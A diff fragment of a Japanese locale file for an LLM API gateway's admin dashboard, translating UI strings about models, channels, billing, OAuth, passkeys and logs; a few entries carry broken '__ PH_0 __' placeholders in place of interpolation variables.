+    "List of origins (one per line) allowed for Passkey registration and authentication.": "Passkeyの登録と認証が許可されているオリジン（1行に1つ）のリスト。",
+    "List view": "リスト表示",
+    "LLM prompt helper": "LLMプロンプトヘルパー",
+    "Load Balancing": "ロードバランシング",
+    "Load template...": "テンプレートをロード...",
+    "Loader": "ローダー",
+    "Loading configuration": "設定を読み込んでいます",
+    "Loading content settings...": "コンテンツ設定をロード中...",
+    "Loading current models...": "現在のモデルをロード中...",
+    "Loading failed": "読み込みに失敗しました",
+    "Loading maintenance settings...": "メンテナンス設定をロード中...",
+    "Loading settings...": "設定をロード中...",
+    "Loading setup status…": "セットアップステータスをロード中…",
+    "Loading...": "読み込み中...",
+    "Local": "ローカル",
+    "Local Billing": "ローカル課金",
+    "Local models": "ローカルモデル",
+    "Locations": "場所",
+    "Locked": "ロック済み",
+    "log": "ログ",
+    "Log Details": "ログの詳細",
+    "Log Directory": "ログディレクトリ",
+    "Log File Count": "ログファイル数",
+    "Log files older than {{value}} days will be deleted.": "{{value}}日前より古いログファイルが削除されます。",
+    "Log IP address for usage and error logs": "使用状況およびエラーログのためにIPアドレスを記録する",
+    "Log Maintenance": "ログのメンテナンス",
+    "Log Type": "ログタイプ",
+    "Login failed": "ログインに失敗しました",
+    "Logo": "ロゴ",
+    "Logo URL": "ロゴURL",
+    "Logs": "ログ",
+    "m": "m",
+    "Maintain a list of common questions for the dashboard help panel": "ダッシュボードのヘルプパネル用のよくある質問のリストを維持する",
+    "Maintenance": "メンテナンス",
+    "Make it easier for teammates to pick the right group.": "チームメイトが適切なグループを選択しやすくする。",
+    "Manage": "管理",
+    "Manage account bindings for this user": "このユーザーのアカウントバインドを管理",
+    "Manage and configure": "管理と設定",
+    "Manage API channels and provider configurations": "APIチャネルとプロバイダー構成を管理する",
+    "Manage Bindings": "バインド管理",
+    "Manage catalog visibility and pricing.": "カタログの表示と価格設定を管理。",
+    "Manage custom OAuth providers for user authentication": "ユーザー認証用のカスタムOAuthプロバイダーの管理",
+    "Manage Keys": "キーの管理",
+    "Manage local models for:": "次のローカルモデルを管理します。",
+    "Manage model deployments": "モデルデプロイを管理する",
+    "Manage model metadata and configuration": "モデルのメタデータと設定を管理する",
+    "Manage multi-key status and configuration for this channel": "このチャネルのマルチキーのステータスと構成を管理する",
+    "Manage Ollama Models": "オラマモデルの管理",
+    "Manage redemption codes for quota top-up": "クォータのチャージ用の引き換えコードを管理する",
+    "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.": "サーバーログファイルを管理します。ログファイルは時間とともに蓄積されるため、定期的なクリーンアップでディスク容量を解放することを推奨します。",
+    "Manage subscription plan creation, pricing and status": "サブスクリプションプランの作成、価格設定、ステータスを管理",
+    "Manage subscription plans and pricing.": "サブスクリプションプランと価格設定を管理します。",
+    "Manage Subscriptions": "サブスクリプションの管理",
+    "Manage users and their permissions": "ユーザーとその権限を管理する",
+    "Manage Vendors": "ベンダーの管理",
+    "Manage your API keys for accessing the service": "サービスにアクセスするためのAPIキーを管理する",
+    "Manage your balance and payment methods": "残高と支払い方法を管理する",
+    "Manage your security settings and account access": "セキュリティ設定とアカウントアクセスを管理する",
+    "Manual Disabled": "手動無効",
+    "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).": "ユーザー情報レスポンスのフィールドをローカルユーザー属性にマッピングします。ネストされたパスをサポートします (例: ocs.data.id)。",
+    "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.": "モデル識別子をGemini APIバージョンにマッピングします。特定の一致が見つからない場合は、`default`エントリが適用されます。",
+    "Map request model names to actual provider model names (JSON format)": "リクエストのモデル名を実際のプロバイダーのモデル名にマッピング (JSON 形式)",
+    "Map response status codes (JSON format)": "応答ステータスコードをマッピング（JSON形式）",
+    "Map upstream status codes to different codes": "アップストリームのステータスコードを別のコードにマッピングする",
+    "Match model name exactly": "モデル名を正確に一致",
+    "Match models containing this name": "この名前を含むモデルを一致",
+    "Match models ending with this name": "この名前で終わるモデルを一致",
+    "Match models starting with this name": "この名前で始まるモデルを一致",
+    "Match Type": "一致タイプ",
+    "Matched": "一致",
+    "Matched Tier": "一致した階層",
+    "Matching Rules": "マッチングルール",
+    "Max Disk Cache Size (MB)": "ディスクキャッシュ最大容量 (MB)",
+    "Max Entries": "最大エントリ数",
+    "Max Requests (incl. failures)": "最大リクエスト数（失敗を含む）",
+    "Max Requests (including failures)": "最大リクエスト数（失敗を含む）",
+    "Max requests per period": "期間あたりの最大リクエスト数",
+    "Max Success": "最大成功数",
+    "Max successful requests": "最大成功リクエスト数",
+    "Max Successful Requests": "最大成功リクエスト数",
+    "Maximum 1000 characters. Supports Markdown and HTML.": "最大1000文字。MarkdownとHTMLをサポートしています。",
+    "Maximum 200 characters": "最大200文字",
+    "Maximum 500 characters. Supports Markdown and HTML.": "最大500文字。MarkdownとHTMLをサポートしています。",
+    "Maximum check-in quota": "最大チェックインクォータ",
+    "Maximum quota amount awarded for check-in": "チェックインで付与される最大クォータ量",
+    "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647": "maxRequests ≥ 0、maxSuccess ≥ 1、両方とも ≤ 2,147,483,647",
+    "Memory Hits": "メモリヒット",
+    "Memory Threshold (%)": "メモリ閾値 (%)",
+    "Merchant ID": "マーチャントID",
+    "Merchant ID is required": "マーチャント ID は必須です",
+    "Message Priority": "メッセージの優先度",
+    "Metadata": "メタデータ",
+    "Midjourney": "Midjourney",
+    "MidjourneyPlus": "MidjourneyPlus",
+    "Min Top-up": "最低チャージ額",
+    "Min Top-up:": "最小チャージ額:",
+    "MiniMax": "MiniMax",
+    "Minimum check-in quota": "最小チェックインクォータ",
+    "Minimum LinuxDO trust level required": "必要な最小LinuxDOトラストレベル",
+    "Minimum quota amount awarded for check-in": "チェックインで付与される最小クォータ量",
+    "Minimum recharge amount in USD": "米ドルでの最小リチャージ額",
+    "Minimum recharge amount to qualify for this discount.": "この割引の対象となる最小チャージ額。",
+    "Minimum top-up (optional)": "最小チャージ額（オプション）",
+    "Minimum top-up (USD)": "最小チャージ額（USD）",
+    "Minimum top-up amount must be at least 1": "最低チャージ額は 1 以上である必要があります",
+    "Minimum top-up quantity": "最小チャージ数量",
+    "Minimum topup amount: {{amount}}": "最低チャージ金額：{{amount}}",
+    "Minimum Trust Level": "最小トラストレベル",
+    "Minimum:": "最小:",
+    "Minute": "分",
+    "minutes": "分",
+    "Missing code": "コードが不足しています",
+    "Missing Models": "不足しているモデル",
+    "Missing user data from Passkey login response": "パスキーログイン応答からユーザーデータが欠落しています",
+    "Mistral": "Mistral",
+    "Mode": "モード",
+    "model": "モデル",
+    "Model": "モデル",
+    "Model Access": "モデルアクセス",
+    "Model Analytics": "モデル分析",
+    "Model Call Analytics": "モデル呼び出し分析",
+    "Model context usage": "モデルのコンテキスト使用量",
+    "Model deleted": "モデルが削除されました",
+    "Model deleted successfully": "モデルが正常に削除されました",
+    "Model deployment service is disabled": "モデルデプロイサービスが無効です",
+    "Model Description": "モデルの説明",
+    "Model disabled successfully": "モデルが正常に無効化されました",
+    "Model enabled successfully": "モデルが正常に有効化されました",
+    "Model fixed pricing": "モデルの固定価格設定",
+    "Model Group": "モデルグループ",
+    "Model Limits": "モデル制限",
+    "Model Mapping": "モデルマッピング",
+    "Model Mapping (JSON)": "モデルマッピング (JSON)",
+    "Model Mapping must be a JSON object like": "モデルマッピングは次のようなJSONオブジェクトである必要があります",
+    "Model mapping must be valid JSON": "モデルマッピングは有効な JSON である必要があります",
+    "Model name": "モデル名",
+    "Model Name": "モデル名",
+    "Model Name *": "モデル名 *",
+    "Model name is required": "モデル名は必須です",
+    "Model names copied to clipboard": "モデル名がクリップボードにコピーされました",
+    "Model not found": "モデルが見つかりません",
+    "Model Price": "モデル価格",
+    "Model Price Not Configured": "モデル価格が未設定",
+    "Model Pricing": "モデル料金",
+    "Model pull failed: {{msg}}": "モデルのプルに失敗しました： __ PH_0 __",
+    "Model ratio": "モデル倍率",
+    "Model ratios": "モデル比率",
+    "Model ratios reset successfully": "モデル比率が正常にリセットされました",
+    "Model Regex": "モデル正規表現",
+    "Model Regex (one per line)": "モデル正規表現（1行に1つ）",
+    "Model to use for testing": "テストに使用するモデル",
+    "Model to use when testing channel connectivity": "チャネル接続性をテストする際に使用するモデル",
+    "Model Version *": "モデルバージョン *",
+    "model(s) selected out of": "選択されたモデル",
+    "model(s)? This action cannot be undone.": "モデルを削除しますか？この操作は元に戻せません。",
+    "models": "モデル",
+    "Models": "モデル",
+    "Models *": "モデル *",
+    "Models & Groups": "モデルとグループ",
+    "Models appended successfully": "モデルが正常に追加されました",
+    "Models are required": "モデルが必要です",
+    "Models directory": "モデルディレクトリ",
+    "Models fetched successfully": "モデルが正常に取得されました",
+    "Models filled to form": "フォームにモデルが記入されました",
+    "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.": "ここに記載されたモデルは、-thinking / -nothinking サフィックスの自動付与・削除を行いません。",
+    "Models not in list, may fail to invoke": "リストにないモデル、呼び出しに失敗する可能性があります",
+    "Models that are being used but not configured in the system": "使用されているがシステムに設定されていないモデル",
+    "Models updated successfully": "モデルが正常に更新されました",
+    "Modify existing subscription plan configuration": "既存のサブスクリプションプラン設定を変更",
+    "Module availability": "モジュールの可用性",
+    "MokaAI": "MokaAI",
+    "Monitor": "モニタリング",
+    "Monitoring & Alerts": "監視とアラート",
+    "Month": "月",
+    "Monthly": "毎月",
+    "months": "ヶ月",
+    "Moonshot": "Moonshot",
+    "More": "もっと見る",
+    "more mapping": "さらにマッピング",
+    "More templates...": "ほかのテンプレート…",
+    "More...": "その他...",
+    "Move": "移動",
+    "Move affiliate rewards to your main balance": "アフィリエイト報酬をメイン残高に移動する",
+    "Move Header": "ヘッダーを移動",
+    "ms": "ms",
+    "Multi-key channel: Keys will be": "マルチキーチャネル: キーは",
+    "Multi-Key Management": "マルチキー管理",
+    "Multi-Key Mode (multiple keys, one channel)": "マルチキー モード (複数のキー、1つのチャネル)",
+    "Multi-Key Strategy": "マルチキー戦略",
+    "Multi-key: Polling rotation": "マルチキー：ポーリングローテーション",
+    "Multi-key: Random rotation": "マルチキー：ランダムローテーション",
+    "Multi-region deployment for stable global access": "安定したグローバルアクセスを実現するマルチリージョンデプロイメント",
+    "Multi-user management with flexible permission allocation": "柔軟な権限割り当てが可能なマルチユーザー管理",
+    "Multiplier": "乗数",
+    "Multiplier applied when": "乗数が適用されるとき",
+    "Multiplier applied when {{userGroup}} uses {{targetGroup}}": "{{userGroup}}が{{targetGroup}}を使用する際に適用される倍率",
+    "Multiplier for audio inputs.": "音声入力の乗数。",
+    "Multiplier for audio outputs.": "音声出力の乗数。",
+    "Multiplier for completion tokens.": "完了トークンの乗数。",
+    "Multiplier for image processing.": "画像処理の乗数。",
+    "Multiplier for prompt tokens.": "プロンプトトークンの乗数。",
+    "Multipliers for recharge pricing based on user groups.": "ユーザーグループに基づいたリチャージ価格設定の乗数。",
+    "Must be a valid URL": "有効な URL を入力してください",
+    "Must be at least 8 characters": "8文字以上である必要があります",
+    "My Subscriptions": "マイサブスクリプション",
+    "my-status": "my-status",
+    "MySQL detected": "MySQLが検出されました",
+    "MySQL is a production-ready relational database. Keep your credentials secure.": "MySQL は本番環境対応のリレーショナルデータベースです。認証情報を安全に管理してください。",
+    "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.": "MySQLは本番環境に対応しています。自動バックアップと、最小限必要な権限を持つ専用ユーザーが設定されていることを確認してください。",
+    "N/A": "該当なし",
+    "Name": "名称",
+    "Name *": "名前 *",
+    "Name for this redemption code (1-20 characters)": "この引き換えコードの名前（1～20文字）",
+    "Name is available": "名前が利用可能です",
+    "Name is not available": "名前が利用できません",
+    "Name must be between {{min}} and {{max}} characters": "名前は{{min}}文字以上{{max}}文字以下である必要があります",
+    "Name Rule": "名前ルール",
+    "Name Suffix": "名前サフィックス",
+    "name@example.com": "name@example.com",
+    "Native format": "ネイティブ形式",
+    "Need a code?": "コードが必要ですか？",
+    "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.": "追加 (+:)、削除 (-:)、または使用可能なグループの追加を行うグループごとのルールを定義するネストされたJSON。",
+    "Nested JSON: source group →": "ネストされたJSON: ソースグループ →",
+    "Network proxy for this channel (supports socks5 protocol)": "このチャネルのネットワークプロキシ (socks5プロトコルをサポート)",
+    "Never": "しない",
+    "Never expires": "無期限",
+    "New API": "新しいAPI",
+    "New API &lt;noreply@example.com&gt;": "新しいAPI __ PH_0 __",
+    "New API Project Repository:": "New APIプロジェクトリポジトリ:",
+    "New Format Template": "新しいフォーマットテンプレート",
+    "New Group": "新しいグループ",
+    "New Models ({{count}})": "新しいモデル ({{count}})",
+    "New name will be:": "新しい名前は次のようになります:",
+    "New password": "新しいパスワード",
+    "New Password": "新しいパスワード",
+    "New password must be different from current password": "新しいパスワードは現在のものと異なっていなければなりません",
+    "New User Quota": "新しいユーザー割り当て",
+    "New version available: {{version}}": "新しいバージョンが利用可能です：{{version}}",
+    "NewAPI": "NewAPI",
+    "Next": "次へ",
+    "Next branch": "次のブランチ",
+    "Next page": "次のページ",
+    "Next reset": "次のリセット",
+    "No About Content Set": "概要コンテンツが設定されていません",
+    "No Active": "アクティブなし",
+    "No additional type-specific settings for this channel type.": "このチャネルタイプには、追加のタイプ固有の設定はありません。",
+    "No amount options configured. Add amounts below to get started.": "金額オプションは設定されていません。開始するには、以下の金額を追加してください。",
+    "No announcements at this time": "現在のお知らせはありません",
+    "No announcements yet. Click \"Add Announcement\" to create one.": "お知らせはまだありません。「お知らせを追加」をクリックして作成してください。",
+    "No API Domains yet. Click \"Add API\" to create one.": "まだAPIドメインはありません。「APIを追加」をクリックして作成してください。",
+    "No API keys available. Create your first API key to get started.": "利用可能なAPIキーがありません。最初のAPIキーを作成して開始してください。",
+    "No API Keys Found": "APIキーが見つかりません",
+    "No API routes configured": "APIルートが設定されていません",
+    "No available models": "利用可能なモデルがありません",
+    "No available Web chat links": "利用可能なWebチャットリンクがありません",
+    "No backup": "バックアップなし",
+    "No billing records found": "請求記録が見つかりません",
+    "No Change": "変更なし",
+    "No changes": "変更なし",
+    "No changes made": "変更はありません",
+    "No changes to save": "保存する変更がありません",
+    "No channel selected": "チャネルが選択されていません",
+    "No channels available. Create your first channel to get started.": "利用可能なチャネルがありません。最初のチャネルを作成して開始してください。",
+    "No channels found": "チャネルが見つかりません",
+    "No Channels Found": "チャネルが見つかりません",
+    "No channels selected": "チャネルが選択されていません",
+    "No chat presets configured. Click \"Add chat preset\" to get started.": "チャットプリセットが設定されていません。「チャットプリセットを追加」をクリックして開始してください。",
+    "No chat presets match your search": "検索に一致するチャットプリセットがありません",
+    "No conflict entries available.": "利用可能な競合エントリはありません。",
+    "No conflicts match your search.": "検索条件に一致する競合はありません。",
+    "No console output": "コンソール出力なし",
+    "No containers": "コンテナがありません",
+    "No custom OAuth providers configured yet.": "カスタムOAuthプロバイダーはまだ設定されていません。",
+    "No data": "データがありません",
+    "No Data": "データなし",
+    "No data available": "データがありません",
+    "No deployments available. Create one to get started.": "利用可能なデプロイメントがありません。開始するには1つ作成してください。",
+    "No Deployments Found": "デプロイメントが見つかりません",
+    "No discount tiers configured. Click \"Add discount tier\" to get started.": "割引ティアは設定されていません。「割引ティアを追加」をクリックして開始してください。",
+    "No duplicate keys found": "重複キーが見つかりませんでした",
+    "No enabled tokens available": "有効なトークンがありません",
+    "No endpoints configured. Switch to JSON mode or add rows to define endpoints.": "エンドポイントが設定されていません。JSONモードに切り替えるか、エンドポイントを定義するために行を追加してください。",
+    "No FAQ entries available": "FAQエントリがありません",
+    "No FAQ entries yet. Click \"Add FAQ\" to create one.": "FAQエントリはまだありません。「FAQを追加」をクリックして作成してください。",
+    "No files match the accepted types.": "許可された種類に一致するファイルがありません。",
+    "No group found.": "グループが見つかりません。",
+    "No group-based rate limits configured. Click \"Add group\" to get started.": "グループベースのレート制限が設定されていません。\"グループを追加\" をクリックして開始してください。",
+    "No groups match your search": "検索に一致するグループがありません",
+    "No header overrides configured.": "ヘッダーのオーバーライドが設定されていません。",
+    "No Inviter": "招待者なし",
+    "No keys found": "キーが見つかりません",
+    "No log entries matched the selected time.": "選択した時間に一致するログエントリはありません。",
+    "No logs": "ログがありません",
+    "No Logs Found": "ログが見つかりません",
+    "No mappings configured. Click \"Add Row\" to get started.": "マッピングが設定されていません。「行を追加」をクリックして開始してください。",
+    "No matches found": "一致するものが見つかりません",
+    "No matching results": "一致する結果がありません",
+    "No messages yet": "まだメッセージがありません",
+    "No missing models found.": "不足しているモデルは見つかりません。",
+    "No model found.": "モデルが見つかりません。",
+    "No model mappings configured. Click \"Add Mapping\" to get started.": "モデルマッピングは設定されていません。「マッピングを追加」をクリックして開始してください。",
+    "No models available": "利用可能なモデルがありません",
+    "No models available in this category": "このカテゴリにはモデルがありません",
+    "No models available. Create your first model to get started.": "利用可能なモデルがありません。最初のモデルを作成して開始してください。",
+    "No models fetched from upstream": "アップストリームからモデルを取得できませんでした",
+    "No models fetched yet.": "まだモデルはフェッチされていません。",
+    "No models found": "モデルが見つかりません",
+    "No Models Found": "モデルが見つかりません",
+    "No models found.": "モデルが見つかりません。",
+    "No models match your current filters.": "現在のフィルターに一致するモデルはありません。",
+    "No models match your search": "検索に一致するモデルがありません",
+    "No models selected": "モデルが選択されていません",
+    "No models to add": "追加するモデルがありません",
+    "No models to copy": "コピーするモデルがありません",
+    "No models to remove": "削除するモデルがありません",
+    "No new models to add": "追加する新しいモデルはありません",
+    "No parameter overrides configured.": "パラメータのオーバーライドが設定されていません。",
+    "No payment methods available. Please contact administrator.": "利用可能な支払い方法がありません。管理者に連絡してください。",
+    "No payment methods configured": "決済方法が設定されていません",
+    "No payment methods configured. Click \"Add method\" or use templates to get started.": "支払い方法が設定されていません。「メソッドを追加」をクリックするか、テンプレートを使用して開始してください。",
+    "No payment methods match your search": "検索に一致する支払い方法がありません",
+    "No plans available": "利用可能なプランがありません",
+    "No preference": "設定なし",
+    "No prefill groups yet": "まだ事前入力グループはありません",
+    "No price differences found": "価格差異は見つかりませんでした",
+    "No processable upstream model updates for this channel": "このチャネルには処理可能な上流モデル更新がありません",
+    "No products configured. Click \"Add product\" to get started.": "製品が設定されていません。「製品を追加」をクリックして開始してください。",
+    "No products match your search": "検索に一致する製品がありません",
+    "No providers available": "利用可能なプロバイダーがありません",
+    "No Quota": "クォータなし",
+    "No ratio differences found": "比率の差異は見つかりませんでした",
+    "No records found. Try adjusting your filters.": "記録が見つかりません。フィルターを調整してみてください。",
+    "No redemption codes available. Create your first redemption code to get started.": "利用可能な引き換えコードがありません。最初の引き換えコードを作成して開始してください。",
+    "No Redemption Codes Found": "引き換えコードが見つかりません",
+    "No related models available for this channel type": "このチャンネルタイプに関連するモデルが利用できません",
+    "No release notes provided.": "リリースノートは提供されていません。",
+    "No Reset": "リセットなし",
+    "No restriction": "制限なし",
+    "No results for \"{{query}}\". Try adjusting your search or filters.": "\"{{query}}\" の結果が見つかりません。検索条件やフィルターを調整してみてください。",
+    "No results found": "検索結果がありません",
+    "No results found.": "結果が見つかりません。",
+    "No Retry": "リトライなし",
+    "No rules yet": "ルールがありません",
+    "No rules yet. Add a group below to get started.": "まだルールがありません。下にグループを追加して開始してください。",
+    "No status code mappings configured.": "ステータスコードのマッピングが設定されていません。",
+    "No subscription plans yet": "サブスクリプションプランがありません",
+    "No subscription records": "サブスクリプション記録がありません",
+    "No Sync": "同期なし",
+    "No system announcements": "システムのお知らせがありません",
+    "No token found.": "トークンが見つかりません。",
+    "No tools configured": "ツールが未設定です",
+    "No Upgrade": "アップグレードなし",
+    "No upstream price differences found": "上流価格の差異は見つかりませんでした",
+    "No upstream ratio differences found": "アップストリームの比率の差は見つかりません",
+    "No Uptime Kuma groups yet. Click \"Add Group\" to create one.": "Uptime Kumaグループはまだありません。「グループを追加」をクリックして作成してください。",
+    "No uptime monitoring configured": "アップタイム監視が設定されていません",
+    "No usage logs available. Logs will appear here once API calls are made.": "使用ログはありません。API呼び出し後にログがここに表示されます。",
+    "No user information available": "ユーザー情報はありません",
+    "No user selected": "ユーザーが選択されていません",
+    "No users available. Try adjusting your search or filters.": "利用可能なユーザーがいません。検索またはフィルターを調整してみてください。",
+    "No Users Found": "ユーザーが見つかりません",
+    "Node Name": "ノード名",
+    "Non-stream": "非ストリーミング",
+    "None": "なし",
+    "noreply@example.com": "noreply@example.com",
+    "Normalized:": "正規化：",
+    "Not available": "利用できません",
+    "Not backed up": "未バックアップ",
+    "Not bound": "未バインド",
+    "Not Set": "未設定",
+    "Not set yet": "未設定",
+    "Not Started": "未開始",
+    "Not Submitted": "未送信",
+    "Not tested": "未テスト",
+    "Not used yet": "未使用",
+    "Notice": "通知",
+    "Notification Email": "通知メール",
+    "Notification Method": "通知方法",
+    "Notifications": "通知",
+    "Number of codes to create": "作成するコードの数",
+    "Number of keys to create": "作成するキーの数",
+    "Number of times to retry failed requests (0-10)": "失敗したリクエストを再試行する回数 (0-10)",
+    "Number of tokens per unit quota": "単位クォータあたりのトークン数",
+    "Number of users invited": "招待されたユーザー数",
+    "OAuth Client ID": "OAuthクライアントID",
+    "OAuth Client Secret": "OAuthクライアントシークレット",
+    "OAuth failed": "OAuth に失敗しました",
+    "OAuth Integrations": "OAuth連携",
+    "OAuth start failed": "OAuth開始に失敗しました",
+    "Observability": "可観測性",
+    "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.": "Waffoダッシュボードから APIキー、マーチャントID、RSAキーペアを取得し、コールバックURLを設定してください。",
+    "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook": "Waffo ダッシュボードでマーチャント、ストア、プロダクト、署名用キーを取得してください。Webhook URL: <ServerAddress>/api/waffo-pancake/webhook",
+    "of": "件、合計",
+    "of 3:": "3のうち:",
+    "off": "オフ",
+    "Official": "公式",
+    "Official documentation": "公式ドキュメント",
+    "Official Repository": "公式リポジトリ",
+    "Official Sync": "公式同期",
+    "OhMyGPT": "OhMyGPT",
+    "OIDC": "OIDC",
+    "OIDC Client ID": "OIDCクライアントID",
+    "OIDC Client Secret": "OIDCクライアントシークレット",
+    "OIDC configuration fetched successfully": "OIDC 設定が正常に取得されました",
+    "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.": "OIDCディスカバリーURL。「自動検出」をクリックすると、エンドポイントを自動的に取得します。",
+    "OIDC endpoints discovered successfully": "OIDCエンドポイントの検出に成功しました",
+    "Old Format Template": "旧形式テンプレート",
+    "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.": "旧形式: 直接上書き。新形式: 条件判定とカスタムJSON操作をサポートします。",
+    "Ollama": "Ollama",
+    "Ollama Models": "Ollamaモデル",
+    "One API": "1つのAPI",
+    "One domain per line": "1行に1つのドメイン",
+    "One domain per line (only used when domain restriction is enabled)": "1行に1つのドメイン (ドメイン制限が有効な場合のみ使用されます)",
+    "One IP or CIDR range per line": "1行に1つのIPまたはCIDR範囲",
+    "One IP per line (empty for no restriction)": "1行に1つのIP (制限なしの場合は空欄)",
+    "one keyword per line": "1行に1つのキーワード",
+    "Online payment is not enabled. Please contact the administrator.": "オンライン決済が有効になっていません。管理者にお問い合わせください。",
+    "Online topup is not enabled. Please use redemption code or contact administrator.": "オンラインチャージは有効になっていません。引き換えコードを使用するか、管理者に連絡してください。",
+    "Only allow specific email domains": "特定のEメール ドメインのみを許可する",
+    "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.": "管理者のみ利用可能です。有効にすると、スケジュールされたモデルチェックでアップストリームモデルの変更やチェック失敗が検出された際に、選択した方法で概要通知を受け取ります。",
+    "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.": "選択されたフィールドのみが上書きされます。新しい競合が発生した場合は、同期ウィザードを再実行できます。",
+    "Only successful requests": "成功したリクエストのみ",
+    "Only successful requests count toward this limit.": "成功したリクエストのみがこの制限にカウントされます。",
+    "Only the last {{value}} log files will be retained; the rest will be deleted.": "最新の{{value}}個のログファイルのみ保持され、残りは削除されます。",
+    "Oops! Page Not Found!": "おっと！ページが見つかりません！",
+    "Oops! Something went wrong": "おっと！何か問題が発生しました",
+    "Open": "開く",
+    "Open authorization page": "認証ページを開く",
+    "Open CC Switch": "CC Switch を開く",
+    "Open in chat": "チャットで開く",
+    "Open in new tab": "新しいタブで開く",
+    "Open in New Tab": "新しいタブで開く",
+    "Open menu": "メニューを開く",
+    "Open release": "リリースを開く",
+    "Open the io.net console API Keys page": "io.netコンソールAPIキーページを開く",
+    "Open theme settings": "テーマ設定を開く",
+    "OpenAI": "OpenAI",
+    "OpenAI Compatible": "OpenAI互換",
+    "OpenAI Organization": "OpenAI組織",
+    "OpenAI Organization ID (optional)": "OpenAI 組織 ID (オプション)",
+    "OpenAI, Anthropic, etc.": "OpenAI、Anthropicなど",
+    "OpenAI, Anthropic, Google, etc.": "OpenAI、Anthropic、Googleなど",
+    "OpenAIMax": "OpenAIMax",
+    "Opened authorization page": "認証ページを開きました",
+    "OpenRouter": "OpenRouter",
+    "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.": "外部クライアントで開きます。サイドバーまたはAPIキーアクションからトリガーして、設定されたアプリケーションを起動します。",
+    "Operation failed": "操作に失敗しました",
+    "Operator Admin": "オペレーター管理",
+    "Optimize system for self-hosted single-user usage": "セルフホスト型の単一ユーザー使用向けにシステムを最適化する",
+    "Optimized network architecture ensures millisecond response times": "最適化されたネットワークアーキテクチャによりミリ秒単位の応答時間を保証",
+    "Optional callback override. Leave blank to use server address": "オプションのコールバック上書き。サーバーアドレスを使用するには空欄のままにします",
+    "Optional icon identifier for the login button": "ログインボタン用のオプションのアイコン識別子",
+    "Optional JSON policy to restrict access based on user info fields": "ユーザー情報フィールドに基づいてアクセスを制限するためのオプションのJSONポリシー",
+    "Optional minimum recharge amount for this method.": "この方法のオプションの最小チャージ額。",
+    "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as": "チャージ料金を計算する際に使用されるユーザーグループごとのオプションの乗数。次のようなJSONオブジェクトを提供してください",
+    "Optional notes about this channel": "このチャンネルに関するオプションのノート",
+    "Optional notes about when to use this group": "このグループを使用する時期に関するオプションのメモ",
+    "Optional ratio used when upstream cache hits occur.": "アップストリームキャッシュヒットが発生したときに使用されるオプションの比率。",
+    "Optional settings for advanced container configuration.": "高度なコンテナ設定のためのオプション設定。",
+    "Optional supplementary information (max 100 characters)": "オプションの補足情報 (最大100文字)",
+    "Optional tag for grouping channels": "チャンネルをグループ化するためのオプションのタグ",
+    "Opus Model": "Opus モデル",
+    "Or continue with": "または、以下で続行",
+    "Or enter this key manually:": "または、このキーを手動で入力してください:",
+    "Order completed successfully": "注文が正常に完了しました",
+    "Order History": "注文履歴",
+    "Order Payment Method": "注文の支払い方法",
+    "org-...": "org-...",
+    "Original Model": "オリジナルモデル",
+    "Other": "その他",
+    "Output": "出力",
+    "Output price": "出力価格",
+    "Output tokens": "出力トークン",
+    "Output Tokens": "出力トークン",
+    "override": "上書き",
+    "Override": "上書き",
+    "Override Anthropic headers, defaults, and thinking adapter behavior": "Anthropicのヘッダー、デフォルト、および思考アダプターの動作を上書きする",
+    "Override auto-discovered endpoint": "自動検出されたエンドポイントを上書きする",
+    "Override request headers": "リクエストヘッダーを上書きする",
+    "Override request headers (JSON format)": "リクエストヘッダーのオーバーライド (JSON 形式)",
+    "Override request parameters (JSON format)": "リクエストパラメータの上書き (JSON形式)",
+    "Override request parameters. Cannot override": "リクエストパラメーターを上書きします。上書きできません",
+    "Override the endpoint used for testing. Leave empty to auto detect.": "テストに使用されるエンドポイントを上書きします。自動検出するには空のままにします。",
+    "overrides for matching model prefix.": "は一致するモデル接頭辞に上書きします。",
+    "Overview": "概要",
+    "Overwritten": "上書き済み",
+    "Page": "ページ",
+    "Page {{current}} of {{total}}": "{{total}} ページ中 {{current}} ページ目",
+    "PaLM": "PaLM",
+    "Pan": "パン",
+    "Param Override": "パラメータ上書き",
+    "Parameter Override": "パラメータのオーバーライド",
+    "Parameter Override Template (JSON)": "パラメータオーバーライドテンプレート (JSON)",
+    "Parameter override template must be a JSON object": "パラメータオーバーライドテンプレートはJSONオブジェクトである必要があります",
+    "parameter.": "パラメーター。",
+    "Parameters": "パラメータ",
+    "Parsed {{count}} service account file(s)": "__ PH_0 __サービスアカウントファイルを解析しました",
+    "Partial Submission": "部分送信",
+    "Pass Headers": "ヘッダーをパススルー",
+    "Pass request body directly to upstream": "リクエストボディを直接アップストリームに渡す",
+    "Pass Through Body": "ボディをパススルー",
+    "Pass through the anthropic-beta header for beta features": "ベータ機能用に anthropic-beta ヘッダーをパススルー",
+    "Pass through the include field for usage obfuscation": "使用量難読化用に include フィールドをパススルー",
+    "Pass through the inference_geo field for Claude data residency region control": "Claude データ駐留推論リージョン制御用に inference_geo フィールドをパススルー",
+    "Pass through the inference_geo field for geographic routing": "地理的ルーティング用に inference_geo フィールドをパススルー",
+    "Pass through the safety_identifier field": "SAFETY_IDENTIFIERフィールドを通過する",
+    "Pass through the service_tier field": "SERVICE_TIERフィールドを通過する",
+    "Pass through the speed field for Claude inference speed mode control": "Claude 推論速度モード制御用に speed フィールドをパススルー",
+    "Pass-Through": "パススルー",
+    "Passkey": "Passkey",
+    "Passkey Authentication": "パスキー認証",
+    "Passkey is not available in this browser": "このブラウザではパスキーが利用できません",
+    "Passkey is not supported in this environment": "この環境ではパスキーはサポートされていません",
+    "Passkey is not supported on this device": "このデバイスではパスキーがサポートされていません",
+    "Passkey is not supported on this device.": "このデバイスではパスキーはサポートされていません。",
